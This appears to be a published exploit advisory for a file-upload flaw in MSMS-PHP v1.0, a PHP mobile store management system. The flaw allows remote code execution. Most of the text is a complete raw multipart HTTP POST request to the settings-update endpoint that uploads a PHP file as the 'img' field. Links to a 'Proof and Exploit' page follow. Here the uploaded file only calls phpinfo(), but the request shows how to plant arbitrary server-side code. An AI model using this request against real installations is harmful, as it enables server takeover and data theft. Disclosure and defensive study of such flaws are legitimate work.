MSMS-PHP 1.0 Shell Upload

`## Title: MSMS-PHP (by: oretnom23 ) v1.0 File Upload - RCE browser using  
## Author: nu11secur1ty  
## Date: 03/13/2024  
## Vendor: https://github.com/oretnom23  
## Software: https://www.sourcecodester.com/php/14924/online-mobile-store-management-system-using-php-free-source-code.html  
## Reference: https://portswigger.net/web-security/file-upload  
  
## Description:  
The upload function and id=cimg parameter are not sanitizing correctly!  
The attacker can upload any PHP file which he can execute directly on  
the server!  
  
STATUS: HIGH-CrITICAL Vulnerability  
  
[+]Payload:  
```POST  
POST /mobile_store/classes/SystemSettings.php?f=update_settings HTTP/1.1  
Host: localhost  
Content-Length: 6318  
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"  
Accept: application/json, text/javascript, */*; q=0.01  
Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundarypV7nBYU4nAonvWel  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112  
Safari/537.36  
sec-ch-ua-platform: "Windows"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/mobile_store/admin/?page=system_info  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=b6i4kegv7jonjlu44gtuo8i4dg  
Connection: close  
  
------WebKitFormBoundarypV7nBYU4nAonvWel  
Content-Disposition: form-data; name="name"  
  
Mobile Store Management System - PHP  
------WebKitFormBoundarypV7nBYU4nAonvWel  
Content-Disposition: form-data; name="short_name"  
  
MSMS-PHP  
------WebKitFormBoundarypV7nBYU4nAonvWel  
Content-Disposition: form-data; name="about_us"  
  
<p style="text-align: center; margin-right: 0px; margin-bottom: 0px;  
margin-left: 0px; padding: 0px; font-family: DauphinPlain; font-size:  
70px; line-height: 90px;">About Us</p><hr style="margin: 0px; padding:  
0px; clear: both; border-top: 0px; height: 1px; background-image:  
linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.75),  
rgba(0, 0, 0, 0));"><div id="Content" style="margin: 0px; padding:  
0px; position: relative;"><div id="bannerL" style="margin: 0px 0px 0px  
-160px; padding: 0px; position: sticky; top: 20px; width: 160px;  
height: 10px; float: left; text-align: right; color: rgb(0, 0, 0);  
font-family: "Open Sans", Arial, sans-serif; font-size: 14px;  
background-color: rgb(255, 255, 255);"></div><div id="bannerR"  
style="margin: 0px -160px 0px 0px; padding: 0px; position: sticky;  
top: 20px; width: 160px; height: 10px; float: right; color: rgb(0, 0,  
0); font-family: "Open Sans", Arial, sans-serif; font-size: 14px;  
background-color: rgb(255, 255, 255);"></div><div class="boxed"  
style="margin: 10px 28.7969px; padding: 0px; clear: both; color:  
rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif; font-size:  
14px; text-align: center; background-color: rgb(255, 255, 255);"><div  
id="lipsum" style="margin: 0px; padding: 0px; text-align:  
justify;"></div></div></div><p style="margin-right: 0px;  
margin-bottom: 15px; margin-left: 0px; padding: 0px;">Lorem ipsum  
dolor sit amet, consectetur adipiscing elit. Nullam non ultrices  
tortor. Sed at ligula non lectus tempor bibendum a nec ante. Maecenas  
iaculis vitae nisi eu dictum. Duis sit amet enim arcu. Etiam blandit  
vulputate magna, non lobortis velit pharetra vel. Morbi sollicitudin  
lorem sed augue suscipit, eu commodo tortor vulputate. Interdum et  
malesuada fames ac ante ipsum primis in faucibus. Pellentesque  
habitant morbi tristique senectus et netus et malesuada fames ac  
turpis egestas. Praesent eleifend interdum est, at gravida erat  
molestie in. Vestibulum et consectetur dui, ac luctus arcu. Curabitur  
et viverra elit. Cras ac eleifend ipsum, ac suscipit leo. Vivamus  
porttitor ac risus eu ultricies. Morbi malesuada mi vel luctus  
sagittis. Ut vestibulum porttitor est, id rutrum libero. Mauris at  
lacus vehicula, aliquam purus quis, pharetra lorem.</p><p  
style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;  
padding: 0px;">Proin consectetur massa ut quam molestie porta. Donec  
sit amet ligula odio. Class aptent taciti sociosqu ad litora torquent  
per conubia nostra, per inceptos himenaeos. Morbi ex sapien, pulvinar  
ac arcu at, luctus scelerisque nibh. In dolor velit, pellentesque eu  
blandit a, mollis ac neque. Fusce tortor lectus, aliquam et eleifend  
id, aliquet ut libero. Nunc scelerisque vulputate turpis quis  
volutpat. Vivamus malesuada sem in dapibus aliquam. Vestibulum  
imperdiet, nulla vitae pharetra pretium, magna felis placerat libero,  
quis tincidunt felis diam nec nisi. Sed scelerisque ullamcorper  
cursus. Suspendisse posuere, velit nec rhoncus cursus, urna sapien  
consectetur est, et lacinia odio leo nec massa. Nam vitae nunc vitae  
tortor vestibulum consequat ac quis risus. Sed finibus pharetra orci,  
id vehicula tellus eleifend sit amet.</p><p style="margin-right: 0px;  
margin-bottom: 15px; margin-left: 0px; padding: 0px;">Morbi id ante  
vel velit mollis egestas. Suspendisse pretium sem urna, vitae placerat  
turpis cursus faucibus. Ut dignissim molestie blandit. Phasellus  
pulvinar, eros id ultricies mollis, lectus velit viverra mi, at  
venenatis velit purus id nisi. Duis eu massa lorem. Curabitur sed nibh  
felis. Donec faucibus, nulla at faucibus blandit, mi justo efficitur  
dui, non mattis nisl purus non lacus. Maecenas vel congue tellus, in  
convallis nisi. Curabitur faucibus interdum massa, eu facilisis ligula  
pretium quis. Nunc eleifend orci nec volutpat tincidunt.</p><p  
style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;  
padding: 0px;">Ut et urna sapien. Nulla lacinia sagittis felis id  
cursus. Etiam eget lacus quis enim aliquet dignissim. Nulla vel elit  
ultrices, venenatis quam sed, rutrum magna. Pellentesque ultricies non  
lorem hendrerit vestibulum. Maecenas lacinia pharetra nisi, at  
pharetra nunc placerat nec. Maecenas luctus dolor in leo malesuada,  
vel aliquet metus sollicitudin. Curabitur sed pellentesque sem, in  
tincidunt mi. Aliquam sodales aliquam felis, eget tristique felis  
dictum at. Proin leo nisi, malesuada vel ex eu, dictum pellentesque  
mauris. Quisque sit amet varius augue.</p><p style="margin-right: 0px;  
margin-bottom: 15px; margin-left: 0px; padding: 0px;">Sed quis  
imperdiet est. Donec lobortis tortor id neque tempus, vel faucibus  
lorem mollis. Fusce ut sollicitudin risus. Aliquam iaculis tristique  
nunc vel feugiat. Sed quis nulla non dui ornare porttitor eu vitae  
nisi. Curabitur at quam ut libero convallis mattis vel eget mauris.  
Vivamus vitae lectus ligula. Nulla facilisi. Vivamus tristique maximus  
nulla, vel mollis felis blandit posuere. Curabitur mi risus, rutrum  
non magna at, molestie gravida magna. Aenean neque sapien, volutpat a  
ullamcorper nec, iaculis quis est.</p>  
------WebKitFormBoundarypV7nBYU4nAonvWel  
Content-Disposition: form-data; name="files"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundarypV7nBYU4nAonvWel  
Content-Disposition: form-data; name="privacy_policy"  
  
<p>Sample Privacy Policy<br></p>  
------WebKitFormBoundarypV7nBYU4nAonvWel  
Content-Disposition: form-data; name="files"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundarypV7nBYU4nAonvWel  
Content-Disposition: form-data; name="img"; filename="info.php"  
Content-Type: application/octet-stream  
  
<?php  
phpinfo();  
?>  
  
------WebKitFormBoundarypV7nBYU4nAonvWel  
Content-Disposition: form-data; name="cover"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundarypV7nBYU4nAonvWel  
Content-Disposition: form-data; name="banners[]"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundarypV7nBYU4nAonvWel--  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/MSMS-PHP(by%3Aoretnom23)v1.0/FU)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2024/03/msms-php-by-oretnom23-v10-file-upload.html)  
  
## Time spent:  
00:05:00  
  
  
`